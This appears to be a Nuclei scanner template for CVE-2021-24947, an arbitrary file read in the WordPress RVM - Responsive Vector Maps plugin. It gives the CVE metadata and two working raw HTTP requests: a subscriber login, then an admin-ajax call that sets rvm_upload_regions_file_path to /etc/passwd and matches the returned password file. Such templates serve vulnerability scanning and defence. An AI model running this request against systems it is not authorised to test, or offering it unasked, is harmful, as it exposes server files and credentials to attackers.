id: CVE-2021-24947

info:
  name: RVM - Responsive Vector Maps < 6.4.2 - Arbitrary File Read
  author: cckuailong
  severity: high
  description: The plugin does not have proper authorisation, CSRF checks and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user, such as subscriber, to read arbitrary files on the web server.
  reference:
    - https://wpscan.com/vulnerability/cb232354-f74d-48bb-b437-7bdddd1df42a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24947
  classification:
    cve-id: CVE-2021-24947
    cwe-id: CWE-23
  tags: cve,cve2021,lfi,wp,wordpress,wp-plugin,authenticated,lfr

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200